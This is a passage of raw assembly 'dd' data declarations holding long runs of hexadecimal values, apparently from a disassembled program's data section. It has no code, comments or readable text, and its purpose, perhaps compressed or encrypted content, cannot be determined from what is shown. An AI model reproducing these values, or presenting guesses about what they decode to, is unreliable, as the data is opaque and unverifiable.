6BE0D3B1h, 0E43088CDh dd 40024BDCh, 90435C4Ch, 0F37D09FDh, 588E2A30h, 1F52ADBBh dd 14811DC1h, 87906AFh, 1A3B40E6h, 4A70E406h, 77D94CEAh dd 8017F006h, 141D3446h, 0C2A5CA67h, 1DC988D0h, 5DE9973Ch dd 0DA536DFEh, 0D697E938h, 76BEF0C1h, 4D1C6880h, 7C848371h dd 555F0753h, 9EB4055Fh, 3BF65B4h, 78C50958h, 7BF2E7D1h dd 0DD25EC7Ch, 0A1293724h, 0CB255552h, 0CB4A7E1Dh, 83812B25h dd 10F114EEh, 0CC540C60h, 0D00C07AEh, 377A0218h, 0E0E106CEh dd 90E4B2C8h, 0B1C1D746h, 78AAE1C8h, 0B5510BD3h, 0D4A50508h dd 0AABC74AFh, 1EADB765h, 0DC64A245h, 23223168h, 0FBD0A9h dd 28CA0B05h, 0BF59C82h, 4DD618D3h, 849A857h, 8CA5816h dd 8268E909h, 7D4EF268h, 0F756700Fh, 0BD09A5DEh, 0BCC0E7F4h dd 95EC0B86h, 0F92D6446h, 885A51D9h, 58055D14h, 0DEBE580h dd 0E43F0607h, 2C2FC6C5h, 0A4D0638Ch, 680B70B6h, 0A374183Bh dd 0E7E99960h, 55F6AA65h, 0D4ADE771h, 0B08A92AAh, 0D04BCE12h dd 0F4D6C5F7h, 504093DCh, 27F07788h, 0DC54499Dh, 417E4172h dd 0C17E0733h, 2F7F0C6Ch, 55102F17h, 4E8C4A07h, 2E72CC1h dd 0AE470342h, 68A3392Dh, 63466CEAh, 4D6B55A0h, 0AE3ABB3Ch dd 0D302B4FBh, 596302E9h, 0C6DA8994h, 5896B779h, 0AD6F21BBh dd 0D5F72A41h, 10016614h, 1E9F9D22h, 77462074h, 28E5BDA1h dd 21BD0056h, 4D296F4Ah, 0F63AF7D1h, 79820BDCh, 3E2F04F0h dd 256824F0h, 0D3981A7Fh, 87BEBF3Ah, 4BF7974Ch, 72B8BDE1h dd 76408C41h, 3E9D112Eh, 0B0344569h, 5688FAFBh, 0B4BE4F56h dd 0AF9F2DA7h, 10DBB45Ch, 91DEB98h, 6DA9C9EFh, 0E64FCC7Eh dd 7F4DDCB1h, 948849CBh, 38EBED4Ah, 6F9B1207h, 2392DB03h dd 4C801791h, 5CBDD0EFh, 7D01424Dh, 730EB81h, 77317A9Fh dd 1204817Bh, 7B976109h, 0A7970DC1h, 81CD6D80h, 0C17E61EDh dd 27681E38h, 0D64E654h dd 64537AD8h, 5A503442h, 8AF245B7h, 3458F92h, 6E6349FBh dd 31987E00h, 0BA5203C6h, 937717FCh, 8407FF6Dh, 3ECCB5E9h dd 0D4F42C80h, 119F16A3h, 68029320h, 2B6C72DDh, 4A0E4A76h dd 0E96A611Bh, 33796B87h, 0ABA2EA2Dh, 5902953Eh, 48F54433h dd 0D2E7B0DCh, 445475C7h, 6C80598Eh, 0F2B6062Fh, 0EBC3F0E3h dd 0BE0FBB07h, 0E52071C8h, 465F852Dh, 58ED448Eh, 0E5D4054Bh dd 6B9B3588h, 0D4E81D87h, 9591FC72h, 68C80F81h, 313E2043h dd 7401CD9h, 0DD27B8D2h, 0F325779Ch, 57C1B5Eh, 0B65290BCh dd 1E74FC93h, 0B200C328h, 80DAF636h, 0E9E00BC2h, 345C490Bh dd 0E0295047h, 0B7462CAh, 0EB097836h, 0F0A89746h, 4946518h dd 4D54A86Ch, 0C986F58h, 54C1D61h, 8C407CBAh, 28BF06B2h dd 4E5A66D3h, 0E93AD897h, 0EDBC292Ah, 0C76570DDh, 0AB2F982h dd 6B99DEFCh, 4821DCD2h, 0B8508060h, 1F06324Bh, 66E4C0B5h dd 0B428055Dh, 0FF0169E9h, 473F1861h, 9B575002h, 8258B268h dd 96933Ah, 0D5C5AEB9h, 0BEB7D48h, 6F53C1h, 7507F69Ch dd 0BD505A31h, 0BA2F1671h, 964272C9h, 0ADC67FE0h, 67CF43Eh dd 0F0F58176h, 0E9014B0Dh, 0A65D2441h, 97D1CE2h, 1EA38583h dd 3DF31F2h, 1F330F3h, 32D0EB1Bh, 0DC5A5B3Dh, 35181ECBh dd 0BB0C4966h, 2C933055h, 0A7515D26h, 38180D60h, 9045EF4Bh dd 53D61886h, 54F30C06h, 0AB5A05F0h, 1EB41DC5h, 2C5E4039h dd 685C66ECh, 2C915B6Fh, 0A4EDF4B5h, 17BAD674h, 892955B7h dd 4D04D867h, 5CC13F3Bh, 0ACC2033Bh, 963CC41h, 6C80E922h dd 767E4572h, 1C2D5CFh, 4A47437Bh, 5F840E81h, 20533F7Eh dd 9348F8C3h, 0D028C443h, 74682B80h, 6308B64Fh, 5150BC9Ch dd 992731E0h, 1121D409h, 0BDA04F29h, 3621135Ah, 0A05FE122h dd 0B809806h, 3547768h, 0E14057C8h, 0E5C11366h, 1A0EF807h dd 82134F2Ch, 0BA08279h, 8A059B02h, 0E726777h, 0FBA25A5Fh dd 0FAFC3C8Bh, 0A9CF4670h, 0A343173h, 203E4112h, 955F4C9Bh dd 94D7C2ACh, 161FFA7h, 5D03A9D1h, 655F56B1h, 0EA212A94h dd 54AC8h, 9E7AEE6Dh, 7209BB4Ch, 0D880D99Ah, 14B904A4h dd 0F1D29D12h, 0EF4430DBh, 71536B06h, 20F8E1C1h, 51F4A4A9h dd 40275678h, 59AD3888h, 78CF2F68h, 0E91402ECh, 106BFFE2h dd 5026A59h, 5E4B2A51h, 35DAC0DDh, 66B525A6h, 0DE94DA78h dd 7CC6D55Ah, 7129FA80h, 0FABDE470h, 5F0881A0h, 5010A672h dd 8AD1266Fh, 91E87609h, 77734BB8h, 0CEBB6605h, 101DEC6Dh dd 0E3C20AFFh, 0EB021071h, 7DC27F63h, 31CE910Fh, 0D7F3E985h dd 3D35534Dh, 2CCE0A48h, 0D310EC8Fh, 681D2C02h, 4D550DD0h dd 12831761h, 58DBD1AEh, 0D3E42DC2h, 0C316605Ch, 9094770Bh dd 0B3A0952h, 0EDC15FA2h, 0E060B778h, 6B7DBA87h, 0C3405972h dd 80014B26h, 0E99A83D7h, 69B9EC01h, 0E67322AFh, 68EB9878h dd 323A4B6Fh, 642BFA6Fh, 0FC422545h, 0EB206BC6h, 1038A057h dd 64C9042Ch, 0C24EDEF7h, 5E04D8B8h, 235E4CBCh, 0B94CED42h dd 28C607F5h, 0FA3558E7h, 3FD698BFh, 5C1E8CB1h, 8D1708D2h dd 43535EEh, 0A654AFCAh, 2739902Ch, 56D1C821h, 0B2D14A68h dd 7A9D23Eh, 127FCDC4h, 2D2E4914h, 161A752h, 0B6A2D5A7h dd 2DC951B8h, 0E9E2A556h, 0D3844B51h, 5FEEE27Bh, 2FA74963h dd 0C5596607h, 4A9D9775h, 5ABB10D1h, 20A25DACh, 0FA20A352h dd 78C0763Bh, 552E2406h, 515680D3h, 360CD368h, 41597C1Ch dd 59A8D152h, 20302601h, 0F6CE891Ah, 3E317E1h, 53D8E0ACh dd 0B7925CB7h, 12DCBE84h, 0A49613EAh, 0B24B43A3h, 2617D0E3h dd 0D6FDBC27h, 898449A6h, 15F3C1E5h, 8BBF0058h, 0E0E35B64h dd 290070E4h, 26350ED2h, 3078EB22h, 558336E9h, 3D16C068h dd 0A5093CD6h, 379A7544h, 0B8420D74h, 0E2C3A7B9h, 59613372h dd 0D77227A1h, 243CD534h, 0ADC5B1ECh, 78F6E28Bh, 0C8BFF9FCh dd 1FC4E157h, 91DBF1Eh, 965DD3E0h, 0AE64A063h, 1F399964h dd 2D228505h, 0D82380D4h, 6C3B2C7Dh, 0ED517801h, 92882E08h dd 0B46BA62h, 52D4613Dh, 5AFE9A02h, 462F0245h, 0B76A77CCh dd 86D62FA2h, 86F0009h, 90D386Dh, 1B686919h, 507B280h dd 361C9044h, 0B32CE934h, 2DBB0197h, 8C167E30h, 167A04C8h dd 0EBDE0BECh, 7E9CFF0Bh, 0E2D39727h, 0A33F1271h, 0E6D699FAh dd 94972C78h, 0BBF56E5Dh, 0C0AA0114h, 6A94C5Ch, 8B4621Bh dd 5A019582h, 21F0AA55h, 64FB837Ah, 0D880217Bh, 0AD08C6FEh dd 17202048h, 491363F2h, 18100916h, 1E188DB9h, 0BD101066h dd 80475D80h, 41806FDEh, 8839815Ch, 0C564481h, 3C104AD5h dd 63D34F40h, 0C66C088Eh, 24281810h, 10F89118h, 0A3813640h dd 0EE0B498Ch, 73414208h, 110192C1h, 2D28885Fh, 7E0708F4h dd 1CB32908h, 9F2031D6h, 78E9016Bh, 0D0EB1088h, 8E8540Ch dd 187D66E3h, 0D420F95Ah, 80E57C18h, 9A813F48h, 911AE98Ch dd 0E4406308h, 0DDB041B2h, 1C288C37h, 0DEF80869h, 858D851h dd 18C6462Ah, 88613DE7h, 804B92A8h, 31D1D36Ch, 0DF657F8Ch dd 0D91FC308h, 86F340Ch, 7D79C476h, 0D6F8068Bh, 57DB2008h dd 2098AE20h, 2424CC8Ah, 0F798044Ch, 8154CB10h, 308051C0h dd 10090310h, 10BC20E1h, 6010E23Ah, 630210A5h, 108CEF18h dd 8CC7834h, 88368146h, 28C95E4Fh, 623C2332h, 3D081550h dd 5E20E8E3h, 20D4DF20h, 943288C5h, 26D696Ch, 9003D8C8h dd 2B10186Ah, 3A44084Ah, 0DF864580h, 1815D020h, 0FC1089C5h dd 5208C454h, 0ADBA04EEh, 283B3C06h, 31AF0D20h, 9B10421Ah dd 49088C26h, 66ED188Fh, 21E008F0h, 10F69731h, 89EDA5Eh dd 172060DCh, 56B120C8h, 15A45949h, 318085CAh, 0BBDD18E0h dd 0E6640888h, 2039B50Ch, 3D79404Ah, 40BE6E40h, 14089F4h dd 0D6734035h, 25101462h, 385102D3h, 0CC3680Fh, 0C51840Eh dd 857308C4h, 0FAE9492h, 590C6908h, 40EE0840h, 0B9C47B83h dd 6F045CE2h, 0EA9D0490h, 93576A04h, 2920B9F8h, 59C13128h dd 8C5C7610h, 185DF008h, 99916468h, 0B83E047Fh, 55B24D2h dd 23D84CE0h, 0D040E2F1h, 20289A2Bh, 556236F9h, 4FAE329h dd 1CDC91ABh, 0C25192CCh, 3E842448h, 0BF2211E2h, 0C4449105h dd 0D00C0D75h, 2D400FC1h, 609040ADh, 0E8FC9C13h, 0C1AAA424h dd 8F4653C0h, 1CC78B1Eh, 10436B8Ch, 6F475C3Bh, 13EB0206h dd 0B9370E89h, 5A03DA7h, 18F4401h, 0C90B4940h, 618BF775h dd 0DEA0C7B4h, 0FE97F003h, 0C0338F7Bh, 4FB10F01h, 612CAC30h dd 0C5686682h, 0EE63720Bh, 31614F1Fh, 8BE01ABEh, 0FF015B10h dd 65066F80h, 7A9F3231h, 3C5C2679h, 63F92742h, 9FA4E1A7h dd 15B93A81h, 602E1D55h, 0D121B90h, 0C4AE177Eh, 58080C5Dh dd 8FE0F90Eh, 0FA0C3260h, 0B50C095Eh, 4DC5C08Fh, 0AD3AF498h dd 69763078h, 4E61F100h, 7DE9D35Eh, 3122CB76h, 0F8300358h dd 34AB35Fh, 0A9FE9775h, 7196C16Eh, 0C81450Bh, 6C7F366Eh dd 34C37E51h, 0D9A359h, 0F6A78F60h, 6E682D89h, 0FA7E2032h dd 7D078905h, 0BD9E16h, 8E058B8Ah, 6BA3B84Ah, 0C77E189Dh dd 0A464777Ah, 5B184922h, 9629E334h, 2D77705h, 52BBD361h dd 3EAC000h, 2F4321F1h, 781768Ch, 0D6661EBh, 7C7CF770h dd 3100681Eh, 5B0C724Ch, 0F7FE381h, 0E929BF7Bh, 0E261140Ch dd 0E5B28EEh, 68F033ACh, 382726Fh, 830145AEh, 0C1349D59h dd 0CD4F47B3h, 56827A6Eh dd 0AD4EF1F9h, 700565Ah, 0C168AC56h, 28F706EBh, 4EA343D3h dd 5704371h, 7618C73Ch, 8FCFC81Dh, 198BC463h, 0C45B0E22h dd 8EEEEA6Fh, 0C7F24EB4h, 7486463Eh, 0ABBD555Eh, 0A8EDEEC0h dd 0B75C291Ch, 9C56F85h, 0DF748708h, 3230A982h, 27F1DE2Fh dd 50029FF0h, 3C9F44B8h, 28F2409Dh, 42590615h, 5C3827E9h dd 0CFCA883Ch, 0B2D2D913h, 0E5B0FFE4h, 53F802E3h, 6BEF4EC0h dd 27E973DAh, 0DA98CC46h, 6A013D8Ah, 0FD6E2D5Bh, 0B03E337Ah dd 9801390Ah, 0E9C2016Dh, 5DD6489Eh, 96C8C05Bh, 62B1F113h dd 544E657Fh, 0E9E07471h, 154269Ch, 581E0897h, 0A5F91D66h dd 9F23CE29h, 0E21E8FADh, 84E4DF2Fh, 0D8B428C4h, 0EE8BD2ACh dd 0F23FEF7Dh, 9AE4D3C4h, 33B634E9h, 1916BB9Eh, 500C38EFh dd 0FEB9ADC0h, 0F1680A06h, 8FE092Ah, 42E1A0F5h, 295C4130h dd 484576Ch, 12B635E9h, 33C7321Eh, 76B42EA6h, 0EFFCECF1h dd 67382565h, 76306B7Ch, 4A522D7Eh, 3CAAE124h, 0BA072B1h dd 0C1B65558h, 0A10DF69h, 681D46E2h, 32B40120h, 0DF5D080Ah dd 41CE5149h, 5E63EE9h, 8A6E06FEh, 0EC6FFF9h, 2CDDE3F3h dd 940B4F6h, 8A84462Bh, 6AE28902h, 9CFB12F5h, 5B0D7B8h dd 0E32C4012h, 0DC280E79h, 374A3C01h, 1170E94Eh, 0DDC36182h dd 9D41528Eh, 0B4E320D8h, 0F76EFD82h, 1742730Bh, 2702577Ah dd 0F1A0D0Ah, 0F62F4EB1h, 0F256F300h, 4FE9D67Dh, 4F26F469h dd 0F82F1A97h, 25F691F2h, 0A80CC5F0h, 0C6B3516h, 0E026023Fh dd 1E77E9B6h, 7AA8114Ah, 60B003C0h, 0C00745Dh, 70C86596h dd 197EDB9h, 0D129994Ch, 3F7417E9h, 0CD50D1B3h, 9174950Fh dd 4CD3E953h, 2DBB84C3h, 0ACAE0435h, 0BE56B060h, 0AB701FCEh dd 78893A54h, 868C4363h, 124110F8h, 0BF50D1DCh, 0CC9DF514h dd 688A882Eh, 28224F23h, 9E955BDFh, 59E916B5h, 0B45C74D5h dd 25523EC3h, 1E34265h, 61842231h, 49A46DE9h, 58DE00AAh dd 0EDC130A1h, 3C2960F7h, 545E319Fh, 2F178432h, 1539EFCBh dd 18D213Ah, 0BB27D19h, 0A420A84h, 7D4F7EB3h, 0A196358Ch dd 375C97FBh, 88D9004Fh, 4958E931h, 0B171E6Ah, 0C0988C7Ah dd 86E8DA5Bh, 4CCABBA4h, 0F37C1301h, 0D691684Fh, 905621A7h dd 6B1D70DDh, 8E61F0AAh, 31632A6h, 283E4E72h, 5FF0E155h dd 74B78789h, 44DD611Ah, 65E8518Eh, 4A05012Eh, 7F2B1B09h dd 6D6709CBh, 42082AEBh, 9D08D62Ch, 0BD41B60Ah, 3FE268C1h dd 0FABC6B56h, 6EF99D5Dh, 0AF045EE5h, 500D47Eh, 73D19E1h dd 0E42C68F6h, 99C06113h, 9D32521Ch, 0C38FF880h, 0F3FED7C4h dd 56B3E91Ch, 4B554938h, 0E9C3E6B3h, 0A5E870Bh, 16AEF6C5h dd 6EB1E1A5h, 0ADD330B6h, 0AE98346h, 0A7EA8458h, 0CAE98314h dd 0B8160292h, 3BA5592Bh, 13E8AC0h, 12C0D3BFh, 588C4012h dd 4D56C281h, 0F18C3550h, 0C07F6641h, 252548Bh, 0F7FA870Ah dd 2118CADFh, 7235BB1Eh, 302C7A12h, 615E42B2h, 684C50C3h dd 252809C3h, 0C8D38E58h, 0BB3117BDh, 0BB40A06h, 80B8042Eh dd 0BB349258h, 0FF17CC1Eh, 0EE81E8ADh, 70934574h, 9F6C249Ch dd 3D0F0C97h, 33957E12h, 0C11F81C2h, 4D3C4D02h, 7E56E027h dd 0B564F53Dh, 0AF08336h, 0F652FA55h, 0F3DF4F20h, 596C04A4h dd 680A46DEh, 41EB0106h, 3F790Bh, 0B5B62AC7h, 0D5E9AC87h dd 0C5EC4E8Bh, 0FE2298E5h, 54F3F8Ah, 0FF431B8Dh, 63141FCBh dd 0BC5D8614h, 8B875BC7h, 684E31FDh, 6A267EEDh, 0A484A492h dd 9F597A4Ch, 3CE74F86h, 0ACE84B86h, 0E9843E73h, 4112429Bh dd 0F66E4790h, 9ADA188Dh, 1EEB2D12h, 89DCCD48h, 97DBADF5h dd 1C28E0AFh, 55393066h, 0EF433D0Eh, 95B1704Fh, 181A2FDCh dd 10DBF736h, 0CC4A44E9h, 0B1B84FC0h, 68BF0B7Ch, 7B330416h dd 25CC863Dh, 0EDA261E5h, 0C5EA0744h, 12A78B13h, 41AD4568h dd 20953F17h, 56728E90h, 88474A26h, 9DE9A917h, 0BD745ACBh dd 827F5E51h, 0C4D70197h, 67743015h, 0D2A3C6FDh, 0C0E0762Dh dd 9ABBF503h, 0EC5F4E29h, 0B2F85F3Fh, 2C8E05D2h, 1699EE93h dd 0D3B8B3Fh, 0A1DD52E9h, 90D19401h, 26FE37BFh, 43BCC622h dd 0DE7B7B02h, 6A04A832h, 320FF558h, 12282626h, 5EF13116h dd 97560AB0h, 4062B163h, 0B12F224h, 867A80FCh, 73DEC27Fh dd 28F1683Bh, 6A8E2008h, 1306591h, 777A13A8h, 2F853A29h dd 0BC0364BFh, 0BB91F1F6h, 9B045122h, 0A871A61Ch, 0F50D5069h dd 9263B009h, 0BE82DF29h, 0D50B4C43h, 132D7680h, 49003A6Ah dd 0B44E800Dh, 5354072h, 0FC058552h, 1905FA89h, 8E563D8Ch dd 63126021h, 0F6CFFE00h, 8BE0D75Bh, 0B327863Ch, 831F589Dh dd 0AF539DEDh, 6812A0ACh, 4C935F0Ch, 430ACFDBh, 9EA0F776h dd 0D92E6EB1h, 3117C541h, 81DE6A4Bh, 0AC15FA79h, 12E65720h dd 1629196Ch, 27931928h, 314082DAh, 753F1852h, 0CE0761C4h dd 13E2197Fh, 5BFEF660h, 0B1935EEFh, 0CCC06E03h, 2D8DC472h dd 0ECFB52A1h, 5A1BCC01h, 932B310Fh, 44415EA7h, 3096F90Ch dd 0D411F7Fh, 2A310B7Ah, 0EA9EC774h, 0A677427h, 258118A2h dd 0FF62407Eh, 0AC12F730h, 39EF2E82h, 5921D509h, 2002DFC9h dd 6A4A1E62h, 0EC96E2F3h, 0E9CEC15Dh, 0E424428Fh, 82374475h dd 0BE593F40h, 0F08142B8h, 1E8059CAh, 62FD0328h, 0A9B85002h dd 622E5D59h, 170082C5h, 261255F9h, 60A09A7Dh, 80776B49h dd 1498D3F7h, 7B18716h, 0E5FB440Fh, 49AA72D7h, 0DFC20317h dd 0E9D698F5h, 9E91555Eh, 7FDB2D7Ah, 0BDE96F8Ch, 2EE14970h dd 8992378Ah, 6AE07E9Ah, 0B93A25E9h, 77658874h, 0D9ECED95h dd 519843D2h, 3696F541h, 73C0B87Ch, 0F318A0C3h, 522E9C38h dd 419B8080h, 0E91B16C2h, 59BFCCFh, 0F230378Eh, 0E005EE71h dd 3B5E46C0h, 0DF8F8A09h, 0E3F8BC14h, 1078136Ch, 0AA749787h dd 65C8E9D8h, 0FBFBED57h, 1FE30F2Ch, 709B0F88h, 4133780Ch dd 79FC7350h, 38681914h, 4DF0499h, 0BEA0BFBh, 5A804290h dd 75602844h, 41099390h, 0D637516Eh, 0EB0901D6h, 2EC3835Dh dd 6D81E20Ch, 2EF109F3h, 0A0F77FA2h, 7EAAC506h, 0C036038h dd 3F6EF94Fh, 0DD890BBDh, 0DE95DE16h, 0F5B1423Ch, 5A25906h dd 65963958h, 0BB8DC056h, 0B7B4049h, 7B70D0Ah, 231EB1C3h dd 4CFAB760h, 9E2D55FAh, 9547C66Eh, 816AE4D3h, 2B5C4601h dd 72F4833h, 1E20DB1h, 0E0D1676Ch, 0AD0B7535h, 0DE2933FEh dd 4E7FC91Dh, 0BFBD0098h, 0E9286210h, 0C7B7FB0Ah, 7AE962D3h dd 2ABB5DC8h, 69783216h, 502C5B01h, 0A12E16D9h, 4B716168h dd 51BD0449h, 4FC7C379h, 0F0630306h, 9200F43h, 0ACD7295Eh dd 220FB039h, 0ED4E5A6Bh, 2FCE0279h, 0E21D9D5Dh, 0D8044BF2h dd 2C22ACEAh, 282C1ED8h, 90088424h, 0C10B2E82h, 823867D2h dd 71F013D7h, 76900782h, 9822B10h, 0B5C575A2h, 0E15F3012h dd 13C0910h, 8FC76077h, 7668D2F7h, 0F11366BDh, 6C5479E9h dd 40A125B4h, 1AEC40EEh, 487CC592h, 6CFBC26h, 52B4CCh dd 41B072B6h, 885AF030h, 0CA58C139h, 92CC5CBDh, 3205BD3Dh dd 957DC45h, 7DC534C1h, 0E712F206h, 2041964h, 0CD425184h dd 99604559h, 923FE622h, 4075A78Dh, 9FF734AFh, 2106C3E0h dd 0F1308EA0h, 0A05C73EEh, 40028832h, 0B04D3CC7h, 12E9604Eh dd 362D0841h, 0D945EB3Ah, 6043E83h, 0D1E0285Bh, 2D5A7D59h dd 0DDA29B1h, 4457B882h, 96B6813Ah, 8F2D1839h, 8A6CB8F6h dd 3A5817AFh, 0ABD70D0Fh dd 4CD1630Dh, 0EF816F8h, 17CB593Ch, 0FC0632E9h, 20F4906Ch dd 0DC797C4h, 5AE07CAFh, 4E1E7157h, 47915A2Ah, 3E42611Eh dd 3C57C559h, 6D1DA1C9h, 70BF84C3h, 455468CBh, 0DC64069Eh dd 0EAB4B9B0h, 0BDF47A80h, 0F6E4EBE1h, 0F0E8585Fh, 0C50B9D06h dd 0DF4F8F0Eh, 0E94AF743h, 0FB3B10F3h, 0D27490C7h, 0B685906h dd 0D20B94Eh, 105B5806h, 0AB793D27h, 1733C6CFh, 0DFF7308Ah dd 5B7720FBh, 0AAE20CC1h, 0B930A422h, 47620441h, 0FCFD0146h dd 2F0941E9h, 6208E0A4h, 0F2F97D07h, 0F0DDAB49h, 0C180E7F5h dd 2D04B7E2h, 0C68902FEh, 48E3FD58h, 563CB16h, 68A92DBAh dd 0F0A65A38h, 0DF0FF504h, 3480AEB8h, 5B986B19h, 73E9AC43h dd 115AE84Ch, 0C20951E1h, 25F010F6h, 2C1706ECh, 69B144FFh dd 0C088DCAh, 0D55D1402h, 6884A147h, 14D80D74h, 0EF5F535Eh dd 0A43DEE78h, 664B3110h, 1B851CDh, 9CDDEF29h, 0B00E4BFBh dd 0C10E81FDh, 4080200Dh, 65E9CA29h, 2D015F1Fh, 0F68BAD91h dd 0E95760B8h, 0DBBA2C37h, 0E46E4826h, 5448806Bh, 9F01C1E9h dd 9F8FADDBh, 0BB87709h, 0C35550C7h, 9F636216h, 7D97ED8Ch dd 0CE534C0Eh, 36114318h, 42641868h, 11D2FA4Bh, 97D8D45Fh dd 31414BF9h, 0D798E2F0h, 279DAAC6h, 0B70B24Fh, 63956AE3h dd 0D94E4EF0h, 7C107FF3h, 0B70F0912h, 8D0D56C0h, 2B5A08DCh dd 910008E1h, 7E6F2D16h, 75D4B32h, 92293589h, 0B2C55E0Fh dd 3102B62Ch, 0D722AD10h, 34E78460h, 8005A027h, 0F8E9D7ACh dd 3ED39DFBh, 314195BDh, 93F92E97h, 2A505A5Ah, 0FDD2AA6h dd 0C5509E7h, 0C001EF12h, 1E8F0B84h, 0F47E0C83h, 0EDE0B764h dd 5C504A2Eh, 0D0B0FDC5h, 6231970Fh, 0EEE9C01Fh, 0C10BDE0Fh dd 0BB407B0Ch, 0C0F1F122h, 0F97B94ABh, 56AF112Ah, 0FD496FF0h dd 5DE81800h, 25066050h, 6EF00E31h, 43907D4h, 63E02A74h dd 68CE02ABh, 25608BCh, 794C2E62h, 1BB1EA71h, 8612F93Dh dd 0B8204A58h, 4AB80748h, 0E99BC8B0h, 0D121853Ah, 2264FC2Eh dd 0A006122Dh, 5F0DE2F3h, 44292D09h, 0C687B76h, 0C6535809h dd 0C8BE0468h, 820A4861h, 0FB75B9F7h, 0B055A59Bh, 60BEE914h dd 0B8E627F9h, 225A553h, 0A0CF4468h, 5C4A753Ah, 666DCDBCh dd 5E0A12F4h, 6A7051C0h, 89116912h, 11837413h, 6802DC2Ch dd 90A2416Eh, 0EC5DF7BCh, 84F64AE9h, 898AB1Eh, 5A507E5Dh dd 2DE50091h, 31F2543Bh, 70A0897h, 0FE31D020h, 0A7485D15h dd 0AC0BAE04h, 0F5478605h, 55680EF7h, 0BFB22970h, 971347CAh dd 0BA50307Ch, 170B3CA9h, 91D13159h, 0A8AD2173h, 3D5FE866h dd 10BAB113h, 0E01C0BE1h, 3EF5251Fh, 9D390D9h, 23DA7555h dd 5A26CC7Dh, 671113FEh, 60CBB2C7h, 954F18EBh, 0A0E713E2h dd 25452DEBh, 0A5E95F0Bh, 1EA9D7FAh, 0E02E3E84h, 0C72DFE58h dd 166B5150h, 0F33A7256h, 0D796D529h, 7F1C9330h, 2D2EFAF5h dd 0CE5413ACh, 303B8F02h, 5007B0Bh, 0FAAD09B7h, 68160980h dd 0E9300945h, 5111534Ch, 11DDF018h, 81B622F6h, 703DF225h dd 5F19547h, 0F5425FCDh, 0C1DAFA5Bh, 5F6D8F62h, 0F6EE2008h dd 794F7EF2h, 0FB2782BCh, 71BF63F8h, 0A7C96A4Fh, 975609FEh dd 0F9A0D546h, 96880133h, 6B2A2D48h, 8A0CD7Eh, 0B6095E4Ah dd 5FC5E22Ch, 0E3204CECh, 2C78BFEEh, 19F8804Ch, 880BD1F6h dd 407EEE70h, 0ADFE562Bh, 800529B2h, 586614C3h, 53A2FFB8h dd 7B463BE1h, 0A12F8C9Dh, 3DCDE127h, 0D9EE0316h, 1E62050Ah dd 5651F5F6h, 41FEE94Dh, 141CA108h, 0A7703502h, 7B517D64h dd 823BFDA5h, 0F832B018h, 1B800DE0h, 28670E37h, 0CE6933E9h dd 0BCF8C489h, 502E6439h, 7782A5E8h, 2D03348Ah, 74ECDDDCh dd 7568FC51h, 0E1CEF359h, 0D724E96Bh, 32BAFA52h, 0D13E06C6h dd 52D3541h, 78138D00h, 7D294EDCh, 2E8330D3h, 9E685336h dd 7D69060Bh, 5720D75Bh, 82135A0h, 3099E915h, 0DE4E7699h dd 0F2AE0284h, 0EB2293F2h, 0A2E95D31h, 6B607F73h, 90BE3A33h dd 0CAE63575h, 4680AED3h, 0BD02CE68h, 554C074Ch, 7BA7A0F8h dd 0E9184B36h, 150D732Fh, 0B247F202h, 0F50991D7h, 20E8D5FEh dd 343F0D2Dh, 22E5806Ch, 51680A07h, 0E1314BE9h, 0F8F27E95h dd 5631BF96h, 8C2AFF54h, 86B27C0Eh, 5769DE94h, 49867E6h dd 0A1570720h, 0F1DE0F36h, 8449161Bh, 416A371Fh, 2C6D3A4Bh dd 0CC0C2577h, 0F81988Ch, 34F2F08h, 0E31601CFh, 0E90C40BDh dd 6B9F4D31h, 0CB6B5DEBh, 0E9B76166h, 0FA231076h, 6BBF680Bh dd 5989D2F9h, 0D929A4D4h, 0A1A23C0h, 24357D2Eh, 80183816h dd 2B411B7h, 0C770EC80h, 0ED2DFC7Fh, 4E4B1843h, 0EE014E15h dd 6096729h, 0D22E9142h, 5D242F53h, 43503CD6h, 0C3E6BFAFh dd 0CB41B2F2h, 3A82FC2Fh, 0A7EE3A80h, 0CEC7CDCh, 5B0C30D3h dd 0B56E925h, 149EF75Dh, 0A5057397h, 54C5B855h, 3249B5Bh dd 0AB62E955h, 0C1213E09h, 3DDC7458h, 20F5AE96h, 1C517F1Ch dd 0CF012DB0h, 9EE276Eh, 0B02AE7C1h, 102C2484h, 47622B31h dd 8560Dh, 53AF23C4h, 9198E0C1h, 90C97F2Dh, 2C64DD05h dd 10F776D2h, 4CB94BA6h, 8F066E00h, 0F7CD8103h, 2CD66118h dd 456E60Ch, 0EDC16908h, 0F5858002h, 7A01DF7Dh, 189FBB53h dd 0F306A31h, 0E7A83ABDh, 1A3DA85Fh, 5F798511h, 0C3E02D44h dd 42B45013h, 55494004h, 0B8F672E4h, 0D2015343h, 88FD4A70h dd 384112C6h, 0C8E5C902h, 3F6CB6BBh, 0CC9AF520h, 0F9C4FE25h dd 1D70CB0Bh, 0F135D05Bh, 0E95CCC3Ah, 8CA5F2Ch, 83A85744h dd 0C181C45Eh, 9436EFEAh, 7A1CB34Ch, 14053735h, 0F566F582h dd 0E902B245h, 5D010F81h, 38E445D9h, 0C78A8B94h, 160FF4Eh dd 0C4FBB151h, 0EA0A8F88h, 0E64ED1DFh, 39E90AF1h, 0EB818431h dd 57375020h, 5DEC807Fh, 0B0830392h, 0C160B67Fh, 62FE718h dd 11853034h, 0B401480Fh, 8453222Dh, 8C887718h, 425B1F07h dd 12401CF9h, 30B86177h, 92E5F33Fh, 0DD9767A3h, 8AA240F2h dd 3A12962Eh, 7A00D0F7h, 0EFD73CFh, 69C2AE9h, 0B8095EB9h dd 0BFA0D292h, 0F8664FBCh, 825CC478h, 7EC15FD2h, 94702DAh dd 8D4D9B7h, 386DC02Fh, 0E7677EE3h, 36DB5DABh, 1025E27Eh dd 4AE08219h, 0F038E696h, 68F1A88Ah, 48362EBDh, 0F82D011Eh dd 0D44FA97Dh, 0EC4E2ABFh, 0FCCD64C1h, 0F9E28204h, 0EB059F7Ah dd 4CD9689Fh, 27A1BE00h, 0D89599Ah, 0F215E9DEh, 3D5E6226h dd 1AD524CAh, 2D354880h, 9E743E39h, 34F7197Bh, 4F6C7C5Dh dd 97B2262Ch, 0A5C74425h, 6DC93BFDh, 3AA22361h, 2E926918h dd 0B8C0B70Ch, 6793EB70h, 58D74763h, 440E74E1h, 0E762FCBh dd 0FA124651h, 247F688Bh, 4069C263h, 42F83190h, 378460B5h dd 0EA657C62h, 6EBF16F3h, 5B67BCEDh, 4CE1A9ECh, 0CADD8235h dd 0F734268Eh, 54EF8D83h, 0A3DD72AAh, 4EF1C5CFh, 8E3CFE70h dd 931D6061h, 0FA291CC1h, 8249753Bh, 7D413CE1h, 0A4DBC118h dd 